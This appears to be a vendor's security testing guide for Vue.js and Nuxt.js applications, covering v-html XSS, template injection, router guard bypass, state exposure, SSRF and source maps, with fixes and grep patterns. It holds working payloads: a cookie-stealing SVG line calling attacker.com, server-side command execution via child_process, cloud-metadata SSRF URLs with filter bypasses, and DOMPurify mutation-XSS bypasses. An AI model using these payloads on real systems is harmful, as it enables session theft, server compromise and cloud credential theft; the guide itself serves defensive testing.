Vue.js Security Testing: XSS, Template Injection, Router Bypass, and State Exposure
Vue.js occupies a distinctive position in the frontend landscape: a progressive framework that scales from a single script tag to a full SSR stack via Nuxt.js, with a reactivity model that makes client-side development approachable. That same progressiveness creates a broad attack surface. Vue applications can be simple SPAs, fully server-rendered Nuxt apps, or hybrid islands — each with different vulnerability profiles.
This guide covers the vulnerability classes that matter most when testing Vue.js and Nuxt.js applications: the v-html directive that disables Vue's built-in escaping, template injection in SSR contexts, navigation guard bypass in Vue Router, state exposure through Pinia and Vuex, server-side request forgery in Nuxt server routes, and the source map files that reconstruct your production source code. For each class you will find the grep patterns to use during code review and the specific payloads to use during active testing.
XSS via the v-html Directive
Vue's template engine HTML-encodes interpolated values by default. The expression {{ userInput }} will never produce an XSS payload regardless of what userInput contains — Vue escapes it before it reaches the DOM. The v-html directive is the explicit escape hatch: it sets innerHTML directly, bypassing all of Vue's output encoding.
<!-- VULNERABLE: user-controlled comment rendered as raw HTML -->
<template>
<div class="comment-body" v-html="comment.body"></div>
<div class="user-bio" v-html="profile.bio"></div>
<span v-html="product.description"></span>
</template>
<script setup>
// comment.body, profile.bio, product.description all come from user input
// or API responses — never sanitized before binding
const comment = ref(await fetchComment(route.params.id));
</script>
Payloads that execute through v-html:
<!-- Classic img onerror — works in all browsers -->
<img src=x onerror="alert(document.domain)">
<!-- SVG onload — no img tag needed -->
<svg onload="fetch('https://attacker.com/?c='+document.cookie)"></svg>
<!-- SVG with embedded script in foreignObject -->
<svg><foreignObject><body xmlns="http://www.w3.org/1999/xhtml">
<script>alert(1)</script></body></foreignObject></svg>
<!-- Details/summary autofocus (no user interaction required) -->
<details open ontoggle="alert(1)"><summary>x</summary></details>
<!-- iframe srcdoc (bypasses some XSS filters) -->
<iframe srcdoc="<script>parent.document.cookie</script>"></iframe>
<!-- data: URI in anchor (requires click, useful for phishing) -->
<a href="data:text/html,<script>alert(1)</script>">Click me</a>
Find every v-html binding in the codebase during code review:
# All v-html usages — review each one manually
grep -rn "v-html" src/ --include="*.vue" --include="*.html"
# Specifically look for v-html bound to dynamic data (not static strings)
grep -rn 'v-html="[^"]*\.' src/ --include="*.vue"
# Find v-html used with variables that come from props, store, or API
grep -rn "v-html" src/ --include="*.vue" -A 2 -B 2
Safe Alternatives and DOMPurify Integration
The correct fix is to sanitize the HTML before binding it. DOMPurify is the standard library for client-side sanitization:
// composables/useSanitize.ts
import DOMPurify from 'dompurify';
export function useSanitize() {
const sanitize = (dirty: string): string => {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
FORCE_HTTPS: true,
});
};
return { sanitize };
}
// Component usage — SECURE
<template>
<div class="comment-body" v-html="sanitize(comment.body)"></div>
</template>
<script setup>
const { sanitize } = useSanitize();
</script>
If rich HTML rendering is not actually required, replace v-html entirely with a computed property that uses double-curly interpolation or a markdown renderer that outputs escaped HTML. Vue's template interpolation ({{ }}) is always safe and should be the default choice.
Template Injection in Vue
Vue's template syntax evaluates JavaScript expressions inside {{ }} delimiters. In a standard client-side application, the attacker cannot inject into Vue templates at runtime — the template is compiled at build time. The dangerous scenario arises when a Vue application compiles templates at runtime from user-supplied strings, or when a Nuxt SSR application interpolates user data into template strings before compilation on the server.
Vue 2 Runtime Template Compilation
// VULNERABLE: Vue 2 app that compiles user-supplied template strings
new Vue({
el: '#app',
template: userSuppliedTemplate, // attacker controls template source
});
// Also vulnerable: dynamic component definitions
Vue.component('user-widget', {
template: `<div>${userDefinedLayout}</div>`, // string interpolation
});
// Classic Vue 2 template injection payload
// Constructor chain to escape the sandboxed expression context:
{{ constructor.constructor('alert(document.domain)')() }}
// Accessing process.env in Webpack-bundled Vue 2 apps:
{{ $options.filters.constructor('return process')() }}
// Via Vue.prototype chain:
{{ _c.constructor('alert(1)')() }}
Vue 3 and the Compiler Sandbox
Vue 3's expression evaluator runs in a stricter sandbox — it blocks access to globals like window, document, and eval by default. The allowed globals list is defined in @vue/shared and includes only safe values like Math, Date, JSON, and parseInt. However, applications that deliberately widen this list reintroduce the vulnerability:
// Widening the Vue 3 allowed globals — RISKY
import { getCurrentInstance } from 'vue';
const instance = getCurrentInstance();
// Adding window breaks the sandbox:
instance.appContext.config.globalProperties.$window = window;
// Test payload against Vue 3 with default sandbox (should be blocked):
{{ window.alert(1) }} // blocked — window not in scope
{{ Math.constructor('alert(1)')() }} // also blocked in Vue 3
// Test payload if globalProperties are widened:
{{ $window.alert(document.domain) }}
// Check if compiler runtime is included (enables runtime template compilation):
grep -rn "@vue/compiler-dom\|vue/dist/vue.esm-bundler" package.json
grep -rn "compileToFunction\|compile(" node_modules/vue/dist/ 2>/dev/null | head -5
SSR Template Injection in Nuxt.js
Nuxt.js renders Vue components on the server before hydrating them in the browser. If server-side code constructs template strings by concatenating user input before passing them to Vue's SSR renderer, the injection executes on the server — with access to the Node.js environment, not just the browser sandbox:
// VULNERABLE: Nuxt 2 server-side template construction
// pages/preview.vue (server-side rendering path)
export default {
async asyncData({ params, $axios }) {
const layout = await $axios.$get(`/api/layouts/${params.id}`);
return {
// layout.template comes from user-controlled database content
dynamicTemplate: layout.template
};
},
render(h) {
// Compiles the user-supplied template on the server
const compiled = Vue.compile(this.dynamicTemplate);
return compiled.render.call(this, h);
}
};
// SSRI (Server-Side Template Injection) payloads for Nuxt:
// These execute in Node.js context, not browser sandbox
{{ require('child_process').execSync('id').toString() }}
{{ process.mainModule.require('fs').readdirSync('/').join(',') }}
{{ global.process.env }}
Grep patterns for finding runtime template compilation in Nuxt and Vue:
grep -rn "Vue.compile\|compileToFunction" src/ --include="*.vue" --include="*.js" --include="*.ts"
grep -rn "render.*compile\|compile.*render" nuxt.config.* server/
grep -rn "new Vue({.*template:" src/ --include="*.js" --include="*.ts"
# In Nuxt 3, check server routes for template rendering:
grep -rn "renderToString\|ssrRender" server/ --include="*.ts"
Vue Router Authentication Bypass
Vue Router navigation guards are the standard mechanism for protecting authenticated routes in SPAs. The router.beforeEach() global guard runs before every route change and is responsible for verifying the user's session. Several implementation patterns create bypasses that allow unauthenticated access to protected views.
Async Guard Race Conditions
// VULNERABLE: async guard that can be raced or short-circuited
router.beforeEach(async (to, from, next) => {
if (to.meta.requiresAuth) {
try {
const user = await authStore.fetchCurrentUser(); // API call
if (user) {
next(); // proceed if API succeeds
} else {
next('/login');
}
} catch (error) {
// Network error or 401 — developer intent: redirect to login
// Actual bug: some code paths call next() without argument (allows through)
next(); // BUG: should be next('/login') or next(false)
}
} else {
next();
}
});
// SECURE: always fail closed on error
router.beforeEach(async (to, from, next) => {
if (!to.meta.requiresAuth) return next();
try {
const user = await authStore.fetchCurrentUser();
if (user) return next();
return next('/login');
} catch {
return next('/login'); // error = not authenticated, always redirect
}
});
Route Meta Property Bypass
Guards that check to.meta.requiresAuth only protect routes where that meta property is explicitly set. New routes added to the router config that are missing the meta property are unprotected by default:
// Router configuration — audit for missing meta properties
const routes = [
{ path: '/dashboard', component: Dashboard, meta: { requiresAuth: true } },
{ path: '/settings', component: Settings, meta: { requiresAuth: true } },
// VULNERABLE: recently added route without requiresAuth meta
{ path: '/admin/reports', component: AdminReports }, // no meta!
{ path: '/api-keys', component: ApiKeys }, // no meta!
];
// More robust approach: default to requiring auth, explicit opt-out
router.beforeEach((to, from, next) => {
const isPublic = to.meta.public === true; // explicit opt-in to public access
if (!isPublic && !authStore.isAuthenticated) {
return next({ path: '/login', query: { redirect: to.fullPath } });
}
next();
});
// Only public routes need the meta flag — all others are protected:
const routes = [
{ path: '/login', component: Login, meta: { public: true } },
{ path: '/register', component: Register, meta: { public: true } },
{ path: '/dashboard', component: Dashboard }, // protected by default
{ path: '/admin/reports', component: AdminReports }, // protected by default
];
Testing Navigation Guard Bypass
# 1. Direct URL access without a session cookie
curl -s https://target.com/dashboard -H 'Accept: text/html' | grep -i "login\|dashboard"
# 2. Manipulate client-side auth state via browser console:
# Open Vue Devtools → Pinia tab → auth store → set isAuthenticated = true
# Then navigate to protected route
# 3. Verify that protected API calls also enforce auth server-side:
curl -s https://target.com/api/user/profile -H 'Accept: application/json'
# Should return 401, not the profile data
# 4. Check for per-route guard implementations that may have gaps:
grep -rn "beforeEnter\|beforeEach\|beforeRouteEnter" src/router/ src/views/ --include="*.ts" --include="*.vue"
# 5. Look for redirect_to / next parameter that could be abused:
grep -rn "query.redirect\|route.query.next\|router.push.*redirect" src/ --include="*.ts" --include="*.vue"
Pinia and Vuex State Exposure
Vue's state management stores — Pinia (the modern standard) and Vuex (legacy) — hold application state in memory during the user's session. Authentication tokens, user roles, feature flags, and other sensitive values commonly live in these stores. Several conditions can expose this state beyond the current user's browser.
Vue Devtools in Production
Vue Devtools is a browser extension that connects to a running Vue application and exposes the component tree, store state, and event history. By default, Vue 3 enables devtools access only in development mode (process.env.NODE_ENV !== 'production'). Misconfigured builds can enable devtools in production:
// main.ts — VULNERABLE: devtools explicitly enabled in production
const app = createApp(App);
app.config.devtools = true; // overrides the NODE_ENV check
// Vue 2 equivalent
Vue.config.devtools = true; // always enabled, regardless of environment
// Check the built bundle for devtools configuration:
curl -s https://target.com/assets/app.js | grep -o "devtools.*true\|devtools.*false"
// In the browser console — test if devtools hook is active:
window.__VUE_DEVTOOLS_GLOBAL_HOOK__ // defined = devtools accessible
window.__vue_devtools_global_hook__ // Vue 2
Pinia Store Exposure via window.__pinia
Pinia automatically registers itself on window.__pinia in development builds, and some production applications inadvertently retain this registration. This allows an attacker with JavaScript execution (e.g., via XSS) to read the entire application state:
// Browser console — extract all Pinia store state
const pinia = window.__pinia;
if (pinia) {
Object.keys(pinia.state.value).forEach(storeName => {
console.log(`Store: ${storeName}`, pinia.state.value[storeName]);
});
}
// Common sensitive values found in stores:
// authStore.token — JWT or session token
// authStore.refreshToken — long-lived refresh token
// authStore.user.role — user role (can be modified!)
// cartStore.items — pricing/inventory data
// adminStore.config — feature flags, internal configuration
// Modify store state to escalate privileges (if no server-side enforcement):
const authStore = window.__pinia.state.value.auth;
authStore.user.role = 'admin';
authStore.user.permissions = ['all'];
// Check if __pinia is exposed in production:
grep -rn "window.__pinia\|globalThis.__pinia" dist/ node_modules/pinia/dist/pinia.prod.cjs 2>/dev/null | head -10
State Hydration Attacks in Nuxt SSR
Nuxt SSR serializes the Pinia store state into the HTML page as a JSON payload for client-side hydration. If the server fetches sensitive data into the store during SSR, that data appears in the serialized payload in the page source — visible to anyone who views the source or intercepts the response:
// VULNERABLE: server-side store fill with sensitive data
// stores/auth.ts
export const useAuthStore = defineStore('auth', {
state: () => ({
user: null,
internalAdminNotes: '', // only for admin UI — should not be serialized
apiKey: '', // service account key — should never reach browser
}),
actions: {
async fetchCurrentUser() {
// This runs on the server during SSR and serializes EVERYTHING to HTML
const user = await $fetch('/api/me');
this.user = user; // includes sensitive fields
this.apiKey = user.serviceApiKey; // sent to browser in page source!
}
}
});
// Inspect the hydration payload in the page source:
curl -s https://target.com/ | grep -o '__NUXT__.*</script>' | head -c 2000
# Or in browser DevTools: Ctrl+U and search for __NUXT__ or useNuxtApp
// SECURE: use useState with selective serialization, or clear sensitive
// state after server-side use before the payload is serialized
export const useAuthStore = defineStore('auth', {
state: () => ({
user: null, // only include what the client UI needs
// apiKey stays server-side in an H3 event context or $fetch call
}),
});
# Extract the Nuxt state payload from a live application
curl -s https://target.com/ \
| python3 -c "
import sys, re, json
html = sys.stdin.read()
m = re.search(r'window\.__NUXT__\s*=\s*(\{.*?\})\s*</script>', html, re.S)
if m:
try:
print(json.dumps(json.loads(m.group(1)), indent=2))
except:
print(m.group(1)[:2000])
"
# Also check for Pinia hydration key:
curl -s https://target.com/ | grep -o '"pinia":{[^}]*}'
Dynamic Component Injection
Vue's dynamic component feature allows rendering a component determined at runtime via the :is binding. When the component name or definition comes from user-supplied data, an attacker may be able to render arbitrary built-in or registered components, or trigger prototype pollution via malformed prop objects.
<!-- VULNERABLE: component name from URL param or API response -->
<template>
<component :is="componentName" v-bind="componentProps" />
</template>
<script setup>
const route = useRoute();
// componentName comes from ?widget=AdminPanel or similar
const componentName = route.query.widget as string;
const componentProps = JSON.parse(route.query.props as string);
</script>
resolveComponent() with Untrusted Input
// VULNERABLE: resolving component by user-supplied name
import { resolveComponent, h } from 'vue';
export default defineComponent({
setup() {
const widgetName = useRoute().query.widget as string;
const DynamicWidget = resolveComponent(widgetName);
// If 'AdminDashboard' is globally registered, attacker renders it:
// ?widget=AdminDashboard
return () => h(DynamicWidget, {});
}
});
// SECURE: allowlist of permitted dynamic components
const ALLOWED_WIDGETS = {
'UserCard': UserCard,
'ActivityFeed': ActivityFeed,
'NotificationList': NotificationList,
} as const;
export default defineComponent({
setup() {
const widgetName = useRoute().query.widget as string;
const Component = ALLOWED_WIDGETS[widgetName as keyof typeof ALLOWED_WIDGETS];
if (!Component) {
console.warn(`Unknown widget: ${widgetName}`);
return () => h('div', 'Widget not found');
}
return () => h(Component, {});
}
});
Prototype Pollution via Component Props
When component props are constructed by parsing user-supplied JSON and spread into the component definition, a carefully crafted JSON payload can pollute Object.prototype. This affects the entire application because prototype pollution is global:
// VULNERABLE: JSON.parse of user input used as component props
const rawConfig = localStorage.getItem('widget-config');
const widgetProps = JSON.parse(rawConfig!); // attacker controls localStorage
const app = createApp(DashboardWidget, ...widgetProps);
// Prototype pollution payload:
// {"__proto__": {"isAdmin": true, "debug": true}}
// After parsing, Object.prototype.isAdmin === true for all objects
// Detection — run in browser console:
const test = {};
console.log(test.isAdmin); // if 'true', prototype is polluted
// Grep for JSON.parse with external data sources:
grep -rn "JSON.parse" src/ --include="*.ts" --include="*.vue" \
| grep -v "//.*JSON.parse" \
| grep -E "localStorage|sessionStorage|cookie|params|query|body"
Nuxt.js Server-Side SSRF
Nuxt 3 introduced server routes (server/api/) and composables like useFetch() and $fetch() that make HTTP calls from both the server and client depending on context. When these utilities accept user-controlled URLs without validation, Nuxt applications become SSRF proxies — and because the server-side execution context has access to cloud metadata endpoints and internal network services, the impact is high.
Server Routes as SSRF Proxies
// server/api/proxy.ts — VULNERABLE SSRF proxy
export default defineEventHandler(async (event) => {
const { url } = getQuery(event); // user supplies the target URL
const response = await $fetch(url as string); // no validation
return response;
});
// server/api/preview.ts — VULNERABLE link preview
export default defineEventHandler(async (event) => {
const body = await readBody(event);
// fetch OG tags from user-supplied URL
const html = await $fetch(body.url);
return parseOpenGraph(html);
});
// useFetch() in a page component (runs server-side during SSR):
// pages/embed.vue — VULNERABLE
const { data } = await useFetch(route.query.embedUrl as string);
SSRF payloads for Nuxt applications deployed on common cloud platforms:
# AWS IMDSv1 — exposes IAM credentials, no auth required
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# AWS IMDSv2 — still reachable if hop limit > 1 on the EC2 instance
http://169.254.169.254/latest/meta-data/
# GCP metadata server
http://metadata.google.internal/computeMetadata/v1/?recursive=true
# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Localhost port scanning (enumerate internal services)
http://localhost:5432/ # PostgreSQL
http://localhost:6379/ # Redis
http://localhost:27017/ # MongoDB
http://localhost:8080/ # Internal admin panel
http://0.0.0.0:3000/
# IP encoding bypass variants (circumvent blocklist filters)
http://[::ffff:169.254.169.254]/latest/meta-data/
http://0251.0376.0251.0376/ # octal encoding
http://2852039166/ # decimal: 169.254.169.254
http://169.254.169.254.nip.io/ # DNS rebinding
http://attacker.com@169.254.169.254/ # authority confusion
# Testing the SSRF endpoint
curl -s "https://target.com/api/proxy?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://target.com/api/preview" \
-H 'Content-Type: application/json' \
--data '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Grep patterns to find SSRF candidates in Nuxt server routes:
grep -rn "\$fetch\|ofetch\|useFetch" server/ --include="*.ts" \
| grep -v "//.*\$fetch"
grep -rn "getQuery\|readBody\|getRouterParam" server/api/ --include="*.ts" \
-A 3 | grep -E "\$fetch|fetch|axios|http"
Nuxt useFetch() URL Allowlisting
// server/api/proxy.ts — SECURE with allowlist
const ALLOWED_ORIGINS = new Set([
'https://api.partner.com',
'https://cdn.example.com',
]);
export default defineEventHandler(async (event) => {
const { url } = getQuery(event);
if (!url || typeof url !== 'string') {
throw createError({ statusCode: 400, message: 'Missing url' });
}
let parsed: URL;
try {
parsed = new URL(url);
} catch {
throw createError({ statusCode: 400, message: 'Invalid url' });
}
const origin = `${parsed.protocol}//${parsed.hostname}`;
if (!ALLOWED_ORIGINS.has(origin)) {
throw createError({ statusCode: 403, message: 'URL not allowed' });
}
return await $fetch(parsed.toString());
});
DOMPurify Mutation XSS and Teleport Security
Applications that use DOMPurify as a sanitization layer before v-html may still be vulnerable to mutation XSS — a class of bypass where sanitized markup is mutated into a dangerous form by the browser's HTML parser before it is written to the DOM.
Mutation XSS via HTML Parser Quirks
<!-- DOMPurify sanitizes this — appears clean after sanitization -->
<!--</p><svg/onload=alert(1)>-->
<!-- But when inserted into a specific DOM context (e.g., inside a table),
the browser's HTML parser reorganizes the tree, placing the SVG
outside the comment node and executing it -->
<!-- Common mutation XSS patterns that bypass DOMPurify < 3.0.6: -->
<math><mtext></p><style></math><a id="--><img src=x onerror=alert(1)>">
<!-- noscript-based bypass (when JS is enabled, noscript is not parsed as HTML) -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- table-based structure confusion -->
<table><td></td></table><svg/onload=alert(1)>
Always use the latest DOMPurify version and test with the DOMPurify test suite. The FORCE_BODY option can reduce parser ambiguity for fragment-level sanitization.
Teleport Component Target Security
Vue 3's <Teleport> component renders its children into a DOM node outside the component tree — typically body or a modal container. If the teleport target selector is user-controlled, an attacker can teleport content into a trusted DOM node, bypassing CSP-style restrictions that apply only to specific containers:
<!-- VULNERABLE: teleport target from user input -->
<template>
<Teleport :to="userSelectedTarget">
<div v-html="userContent"></div>
</Teleport>
</template>
<!-- If the application has sandboxed iframes or content-restricted zones,
teleporting into a trusted parent node bypasses those restrictions.
Combined with v-html, this amplifies the XSS impact zone. -->
<!-- SECURE: hardcode the teleport target -->
<template>
<Teleport to="#modal-container">
<div>{{ sanitizedContent }}</div>
</Teleport>
</template>
Source Map Exposure
Vue CLI and Vite both generate JavaScript source maps by default during development builds. When production builds are deployed with source maps enabled — either intentionally for debugging or by build configuration oversight — attackers can reconstruct the full original TypeScript/Vue source code from the deployed application.
Checking for Exposed Source Maps
# Check if main JS bundles have associated .map files
curl -sI https://target.com/assets/index-Bv3k8xRz.js | grep -i "sourcemappingurl\|x-sourcemap"
# Try fetching the .map file directly (Vite naming convention)
curl -sI https://target.com/assets/index-Bv3k8xRz.js.map
# Check if the sourceMappingURL comment is present in the JS
curl -s https://target.com/assets/index-Bv3k8xRz.js | tail -5 | grep "sourceMappingURL"
# Enumerate all chunk files and check for maps
curl -s https://target.com/ \
| grep -oE 'assets/[a-zA-Z0-9._-]+\.js' \
| sort -u \
| while read f; do
code=$(curl -sI "https://target.com/$f.map" -o /dev/null -w "%{http_code}")
echo "$code $f.map"
done
Reconstructing Source from .map Files
# Install source-map CLI tool
npm install -g source-map
# Fetch and extract a specific file from the source map
node -e "
const { SourceMapConsumer } = require('source-map');
const fs = require('fs');
const rawMap = JSON.parse(fs.readFileSync('index.js.map', 'utf8'));
SourceMapConsumer.with(rawMap, null, consumer => {
// List all original source files
console.log(consumer.sources);
// Extract a specific source file
consumer.sources.forEach(src => {
const content = consumer.sourceContentFor(src, true);
if (content) console.log('=== ' + src + ' ===\n' + content.slice(0, 500));
});
});
"
# Automated extraction with sourcemap-extract:
npx sourcemap-extract https://target.com/assets/index-Bv3k8xRz.js.map ./extracted-source/
Disabling Source Maps in Production
# Vite (vite.config.ts) — disable source maps in production
export default defineConfig({
build: {
sourcemap: false, // no maps generated
// Or: sourcemap: 'hidden' — maps generated but not linked in the bundle
// 'hidden' allows internal error tracking without public exposure
}
});
# Vue CLI (vue.config.js) — disable source maps
module.exports = {
productionSourceMap: false,
};
# Nuxt 3 (nuxt.config.ts)
export default defineNuxtConfig({
vite: {
build: {
sourcemap: false,
}
}
});
Testing Methodology Summary
| Vulnerability | What to Look For | Tool / Method |
|---|---|---|
| v-html XSS | v-html bound to user data, API responses | grep for v-html, img/svg payload injection |
| Template injection | Vue.compile(), runtime template strings, Nuxt SSR | constructor.constructor() payloads, SSTI wordlists |
| Router auth bypass | Async guard errors, missing meta props, catch blocks | Direct URL access, curl, browser devtools |
| Devtools in production | app.config.devtools = true, Vue 2 config | window.__VUE_DEVTOOLS_GLOBAL_HOOK__ check |
| Pinia state exposure | window.__pinia, SSR hydration payload | Browser console, page source grep |
| SSR hydration leakage | Sensitive data in __NUXT__ JSON | curl + grep __NUXT__, page source analysis |
| Dynamic component injection | :is with route/query params, resolveComponent() | Component name manipulation, ?widget= param |
| Prototype pollution | JSON.parse with external data into component props | __proto__ payload in localStorage/params |
| Nuxt SSRF | $fetch/useFetch with user-supplied URLs | Cloud metadata payloads, Burp Collaborator |
| Source map exposure | .map files served publicly alongside JS bundles | HTTP HEAD request for .map URLs, sourcemap-extract |
Static Analysis and Automated Grep Patterns
Run these grep patterns as part of every Vue.js code review engagement to identify the highest-risk patterns quickly before diving into manual analysis:
# === XSS and injection ===
# All v-html usages
grep -rn "v-html" src/ --include="*.vue" --include="*.html"
# Runtime template compilation
grep -rn "Vue\.compile\|compileToFunction\|new Function(" src/ --include="*.{js,ts,vue}"
# === Navigation guards ===
# Auth guards that may have error handling issues
grep -rn "beforeEach\|beforeEnter\|beforeRouteEnter" src/ --include="*.{ts,vue}" -A 10
# Routes missing requiresAuth meta (requires manual audit of output)
grep -rn "path:.*component:" src/router/ --include="*.ts" | grep -v "requiresAuth\|public"
# === State management ===
# Pinia stores that may expose sensitive data in SSR hydration
grep -rn "defineStore\|useStore" src/stores/ --include="*.ts" -A 20
# Vuex state/mutations that store tokens
grep -rn "token\|password\|secret\|apiKey\|api_key" src/store/ --include="*.{js,ts}"
# === Nuxt server SSRF ===
# Server routes with fetch and user-controlled input
grep -rn "\$fetch\|ofetch" server/ --include="*.ts" -B 3 | grep -E "getQuery|readBody|getParam"
# useFetch in page components (SSR context — runs server-side)
grep -rn "useFetch\|useAsyncData" pages/ --include="*.vue" | grep -E "query\.|params\.|body\."
# === Source maps ===
# Check build config
grep -rn "sourcemap\|productionSourceMap" vite.config.* vue.config.* nuxt.config.*
# === Dynamic components ===
grep -rn ':is="' src/ --include="*.vue" | grep -v ":is=\"'[A-Za-z]" # dynamic (non-static) :is bindings
grep -rn "resolveComponent(" src/ --include="*.{ts,vue}"
Semgrep Rules for Vue.js
# Run community Vue security rules
semgrep --config=p/vue .
# Run OWASP rules
semgrep --config=p/owasp-top-ten .
# Custom rule — detect v-html with non-static binding
semgrep --lang=vue --pattern='<$TAG v-html="$X" .../>' src/
# Nuclei — check for exposed Vue devtools
nuclei -u https://target.com -t http/technologies/vue-js.yaml
# Check for source maps
nuclei -u https://target.com -t http/exposures/files/javascript-source-map.yaml
Automated scanning finds v-html XSS sinks, Nuxt SSRF endpoints, exposed devtools, and SSR state hydration leakage in Vue applications — the same vulnerabilities that take hours to locate manually. Ironimo runs the same Kali Linux tools professional pentesters use, available on demand without scheduling a penetration testing engagement.